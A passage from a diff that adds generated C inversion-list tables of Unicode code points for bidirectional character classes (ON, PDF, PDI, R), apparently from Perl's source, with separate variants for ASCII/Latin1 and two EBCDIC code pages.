+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0100,
+	0xE01F0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__ON_invlist[] = { /* for ASCII/Latin1 */
+	355,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x23,
+	0x26,
+	0x2B,
+	0x3B,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0x7F,
+	0xA1,
+	0xA2,
+	0xA6,
+	0xAA,
+	0xAB,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB4,
+	0xB5,
+	0xB6,
+	0xB9,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x58F,
+	0x606,
+	0x608,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x7F6,
+	0x7FA,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC78,
+	0xC7F,
+	0xF3A,
+	0xF3E,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
+	0x169B,
+	0x169D,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2010,
+	0x2028,
+	0x2035,
+	0x2044,
+	0x2045,
+	0x205F,
+	0x207C,
+	0x207F,
+	0x208C,
+	0x208F,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2212,
+	0x2214,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2488,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CF9,
+	0x2D00,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA680,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA828,
+	0xA82C,
+	0xA874,
+	0xA878,
+	0xFD3E,
+	0xFD40,
+	0xFDFD,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE54,
+	0xFE55,
+	0xFE56,
+	0xFE5F,
+	0xFE60,
+	0xFE62,
+	0xFE64,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFE6B,
+	0xFE6C,
+	0xFF01,
+	0xFF03,
+	0xFF06,
+	0xFF0B,
+	0xFF1B,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE2,
+	0xFFE5,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x1091F,
+	0x10920,
+	0x10B39,
+	0x10B40,
+	0x11052,
+	0x11066,
+	0x11660,
+	0x1166D,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F10B,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ON_invlist[] = { /* for EBCDIC 1047 */
+	363,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4E,
+	0x4F,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x60,
+	0x6A,
+	0x6B,
+	0x6D,
+	0x70,
+	0x79,
+	0x7A,
+	0x7C,
+	0x80,
+	0x8A,
+	0x8C,
+	0x9D,
+	0x9E,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB1,
+	0xB3,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x58F,
+	0x606,
+	0x608,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x7F6,
+	0x7FA,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC78,
+	0xC7F,
+	0xF3A,
+	0xF3E,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
+	0x169B,
+	0x169D,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2010,
+	0x2028,
+	0x2035,
+	0x2044,
+	0x2045,
+	0x205F,
+	0x207C,
+	0x207F,
+	0x208C,
+	0x208F,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2212,
+	0x2214,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2488,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CF9,
+	0x2D00,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA680,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA828,
+	0xA82C,
+	0xA874,
+	0xA878,
+	0xFD3E,
+	0xFD40,
+	0xFDFD,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE54,
+	0xFE55,
+	0xFE56,
+	0xFE5F,
+	0xFE60,
+	0xFE62,
+	0xFE64,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFE6B,
+	0xFE6C,
+	0xFF01,
+	0xFF03,
+	0xFF06,
+	0xFF0B,
+	0xFF1B,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE2,
+	0xFFE5,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x1091F,
+	0x10920,
+	0x10B39,
+	0x10B40,
+	0x11052,
+	0x11066,
+	0x11660,
+	0x1166D,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F10B,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ON_invlist[] = { /* for EBCDIC 037 */
+	359,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4E,
+	0x4F,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x60,
+	0x6A,
+	0x6B,
+	0x6D,
+	0x70,
+	0x79,
+	0x7A,
+	0x7C,
+	0x80,
+	0x8A,
+	0x8C,
+	0x9D,
+	0x9E,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB1,
+	0xB3,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x58F,
+	0x606,
+	0x608,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x7F6,
+	0x7FA,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC78,
+	0xC7F,
+	0xF3A,
+	0xF3E,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
+	0x169B,
+	0x169D,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2010,
+	0x2028,
+	0x2035,
+	0x2044,
+	0x2045,
+	0x205F,
+	0x207C,
+	0x207F,
+	0x208C,
+	0x208F,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2212,
+	0x2214,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2488,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CF9,
+	0x2D00,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA680,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA828,
+	0xA82C,
+	0xA874,
+	0xA878,
+	0xFD3E,
+	0xFD40,
+	0xFDFD,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE54,
+	0xFE55,
+	0xFE56,
+	0xFE5F,
+	0xFE60,
+	0xFE62,
+	0xFE64,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFE6B,
+	0xFE6C,
+	0xFF01,
+	0xFF03,
+	0xFF06,
+	0xFF0B,
+	0xFF1B,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE2,
+	0xFFE5,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x1091F,
+	0x10920,
+	0x10B39,
+	0x10B40,
+	0x11052,
+	0x11066,
+	0x11660,
+	0x1166D,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F10B,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BC__PDF_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x202C,
+	0x202D
+};
+
+static const UV PL_BC__PDI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2069,
+	0x206A
+};
+
+static const UV PL_BC__R_invlist[] = { /* for all charsets */
+	67,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x590,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x860,
+	0x870,
+	0x8A0,
+	0x200F,
+	0x2010,
